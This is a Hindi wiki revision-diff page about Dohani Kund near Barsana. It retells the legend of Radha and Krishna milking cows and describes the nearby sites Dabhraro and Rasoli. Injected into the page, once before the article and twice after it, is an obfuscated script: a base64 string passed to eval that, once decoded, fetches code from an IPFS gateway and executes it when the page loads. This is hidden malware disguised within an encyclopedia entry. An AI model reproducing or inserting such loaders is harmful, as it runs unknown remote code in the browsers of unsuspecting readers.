"दोहनी कुण्ड" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - '[[category' to '[[Category')
छो (Text replace - " ।" to "।")
 
(३ सदस्यों द्वारा किये गये बीच के ६ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
 
{{Menu}}<br/ >
 
{{Menu}}<br/ >
==दोहनी कुण्ड / [[:en:Dohni Kund|Dohni Kund]]==
+
==दोहनी कुण्ड / [[:en:Dohani Kund|Dohani Kund]]==
[[बरसाना]] [[मथुरा]] से लगभग 50 कि.मी. है। यह स्थान बरसाना के पास है। गह्वर वन की पश्चिम–दिशा में समीप ही चिकसौली ग्राम के दक्षिण में स्थित है । यहाँ प्रकट लीला के समय गोदोहन सम्पन्न होता था । यह स्थान महाराज [[वृषभानु]] की लाखों गायों के रहने का खिड़क (स्थान) है ।
+
[[बरसाना]] [[मथुरा]] से लगभग 50 कि.मी. है। यह स्थान बरसाना के पास है। गह्वर वन की पश्चिम–दिशा में समीप ही चिकसौली ग्राम के दक्षिण में स्थित है। यहाँ प्रकट लीला के समय गोदोहन सम्पन्न होता था। यह स्थान महाराज [[वृषभानु]] की लाखों गायों के रहने का खिड़क (स्थान) है।
  
'''प्रसंग'''
+
'''प्रसंग-'''<br />{{tocright}}
 +
एक समय गोदोहन के समय किशोरी श्री [[राधा|राधिका]] खड़ी–खड़ी गोदोहन का कार्य देख रही थीं। देखते–देखते उनकी भी गोदोहन की इच्छा हुई वे भी एक मटकी लेकर एक गईया का दूध दोहने लगीं। उसी समय कौतुकी [[कृष्ण]] भी वहाँ आ पहुँचे और बोले– सखि ! 'तोपे दूध काढ़वो भी नहीं आवे है, ला मैं बताऊँ।' यह कहकर पास ही में बैठ गये। राधिका जी ने उनसे कहा– 'अरे मोहन ! मोए सिखा।' यह कहकर सामने बैठ गई। कृष्ण ने कहा–'अच्छौ दो थन आप दुहो और दो मैं दुहों, आप मेरी ओर निगाह राखो। ' कृष्ण ठिठोली करते हुए दूध की धार निकालने लगे। उन्होंने हठात एक धार राधा जी के मुख मण्डल में ऐसी मारी कि राधा जी का मुखमण्डल दूध से भर गया। फिर तो आप भी हँसने लगे और सखियाँ भी हँसने लगीं –
  
एक समय गोदोहन के समय किशोरी श्री [[राधा|राधिका]] खड़ी–खड़ी गोदोहन का कार्य देख रही थीं । देखते–देखते उनकी भी गोदोहन की इच्छा हुई वे भी एक मटकी लेकर एक गईया का दूध दोहने लगीं । उसी समय कौतुकी [[कृष्ण]] भी वहाँ आ पहुँचे और बोले– सखि ! 'तोपे दूध काढ़वो भी नहीं आवे है, ला मैं बताऊँ ।' यह कहकर पास ही में बैठ गये । राधिका जी ने उनसे कहा– 'अरे मोहन ! मोए सिखा ।' यह कहकर सामने बैठ गई । कृष्ण ने कहा–'अच्छौ दो थन आप दुहो और दो मैं दुहों, आप मेरी ओर निगाह राखो । ' कृष्ण ठिठोली करते हुए दूध की धार निकालने लगे । उन्होंने हठात एक धार राधा जी के मुख मण्डल में ऐसी मारी कि राधा जी का मुखमण्डल दूध से भर गया । फिर तो आप भी हँसने लगे और सखियाँ भी हँसने लगीं –
+
आमें सामें बैठ दोऊ दोहत करत ठठोर। <br/ >
 
+
दूध धार मुख पर पड़त दृग भये चन्द्र चकोर।। <br/ >
आमें सामें बैठ दोऊ दोहत करत ठठोर । <br/ >
 
दूध धार मुख पर पड़त दृग भये चन्द्र चकोर ।। <br/ >
 
 
==डभरारो==
 
==डभरारो==
यहाँ श्री राधिका के दर्शन से [[कृष्ण]] की दोनों आँखों में आँसू भर आये। डभरारो शब्द का अर्थ आँसुओं का डब–डबाना है। अब इस गाँव का नाम डभरारो है । यह स्थान [[बरसाना]] से दो मील दक्षिण में हैं ।
+
यहाँ श्री राधिका के दर्शन से [[कृष्ण]] की दोनों आँखों में आँसू भर आये। डभरारो शब्द का अर्थ आँसुओं का डब–डबाना है। अब इस गाँव का नाम डभरारो है। यह स्थान [[बरसाना]] से दो मील दक्षिण में हैं।
 
==रसोली==
 
==रसोली==
डभरारो से डेढ़ मील दूर नैऋत कोण में रसोली स्थान है यहाँ राधा-कृष्ण का गोपियों के साथ सर्वप्रथम प्रसिद्ध [[रासलीला]] सम्पन्न हुआ था । यह तुंग विद्या सखी की जन्मस्थली है। तुंग विद्या के पिता का नाम पुष्कर गोप, माता का नाम मेधा गोपी तथा पति का नाम वालिश है। तुंग विद्या जी अष्टसखियों में से  एक हैं। वे नृत्य–गीत–वाद्य, ज्योतिष, पद्य-रचना, पाक क्रिया, पशु–पक्षियों की भाषाविद राधा-कृष्ण का परस्पर मिलन कराने आदि विविध कलाओं में पूर्ण रूप से निपुण हैं ।
+
डभरारो से डेढ़ मील दूर नैऋत कोण में रसोली स्थान है यहाँ राधा-कृष्ण का गोपियों के साथ सर्वप्रथम प्रसिद्ध [[रासलीला]] सम्पन्न हुआ था। यह तुंग विद्या सखी की जन्मस्थली है। तुंग विद्या के पिता का नाम पुष्कर गोप, माता का नाम मेधा गोपी तथा पति का नाम वालिश है। तुंग विद्या जी अष्टसखियों में से  एक हैं। वे नृत्य–गीत–वाद्य, ज्योतिष, पद्य-रचना, पाक क्रिया, पशु–पक्षियों की भाषाविद राधा-कृष्ण का परस्पर मिलन कराने आदि विविध कलाओं में पूर्ण रूप से निपुण हैं।
 
 
  
  
 +
{| width="100%"
 +
|-
 +
|
 +
==सम्बंधित लिंक==
 +
|-
 +
|
 +
{{ब्रज के दर्शनीय स्थल}}
 +
|}
 
[[Category:कोश]]
 
[[Category:कोश]]
 
[[Category:धार्मिक स्थल]]
 
[[Category:धार्मिक स्थल]]
 
[[Category:दर्शनीय-स्थल कोश]]
 
[[Category:दर्शनीय-स्थल कोश]]
<br />
+
[[Category:दर्शनीय-स्थल कोश]]
{{साँचा:कुण्ड}}
+
 
 +
[[en:Dohani Kund]]
 
__INDEX__
 
__INDEX__
[[en:Dohni Kund]]
 

१२:५३, २ नवम्बर २०१३ के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

दोहनी कुण्ड / Dohani Kund

बरसाना मथुरा से लगभग 50 कि.मी. है। यह स्थान बरसाना के पास है। गह्वर वन की पश्चिम–दिशा में समीप ही चिकसौली ग्राम के दक्षिण में स्थित है। यहाँ प्रकट लीला के समय गोदोहन सम्पन्न होता था। यह स्थान महाराज वृषभानु की लाखों गायों के रहने का खिड़क (स्थान) है।

प्रसंग-

एक समय गोदोहन के समय किशोरी श्री राधिका खड़ी–खड़ी गोदोहन का कार्य देख रही थीं। देखते–देखते उनकी भी गोदोहन की इच्छा हुई वे भी एक मटकी लेकर एक गईया का दूध दोहने लगीं। उसी समय कौतुकी कृष्ण भी वहाँ आ पहुँचे और बोले– सखि ! 'तोपे दूध काढ़वो भी नहीं आवे है, ला मैं बताऊँ।' यह कहकर पास ही में बैठ गये। राधिका जी ने उनसे कहा– 'अरे मोहन ! मोए सिखा।' यह कहकर सामने बैठ गई। कृष्ण ने कहा–'अच्छौ दो थन आप दुहो और दो मैं दुहों, आप मेरी ओर निगाह राखो। ' कृष्ण ठिठोली करते हुए दूध की धार निकालने लगे। उन्होंने हठात एक धार राधा जी के मुख मण्डल में ऐसी मारी कि राधा जी का मुखमण्डल दूध से भर गया। फिर तो आप भी हँसने लगे और सखियाँ भी हँसने लगीं –

आमें सामें बैठ दोऊ दोहत करत ठठोर।
दूध धार मुख पर पड़त दृग भये चन्द्र चकोर।।

डभरारो

यहाँ श्री राधिका के दर्शन से कृष्ण की दोनों आँखों में आँसू भर आये। डभरारो शब्द का अर्थ आँसुओं का डब–डबाना है। अब इस गाँव का नाम डभरारो है। यह स्थान बरसाना से दो मील दक्षिण में हैं।

रसोली

डभरारो से डेढ़ मील दूर नैऋत कोण में रसोली स्थान है यहाँ राधा-कृष्ण का गोपियों के साथ सर्वप्रथम प्रसिद्ध रासलीला सम्पन्न हुआ था। यह तुंग विद्या सखी की जन्मस्थली है। तुंग विद्या के पिता का नाम पुष्कर गोप, माता का नाम मेधा गोपी तथा पति का नाम वालिश है। तुंग विद्या जी अष्टसखियों में से एक हैं। वे नृत्य–गीत–वाद्य, ज्योतिष, पद्य-रचना, पाक क्रिया, पशु–पक्षियों की भाषाविद राधा-कृष्ण का परस्पर मिलन कराने आदि विविध कलाओं में पूर्ण रूप से निपुण हैं।


सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>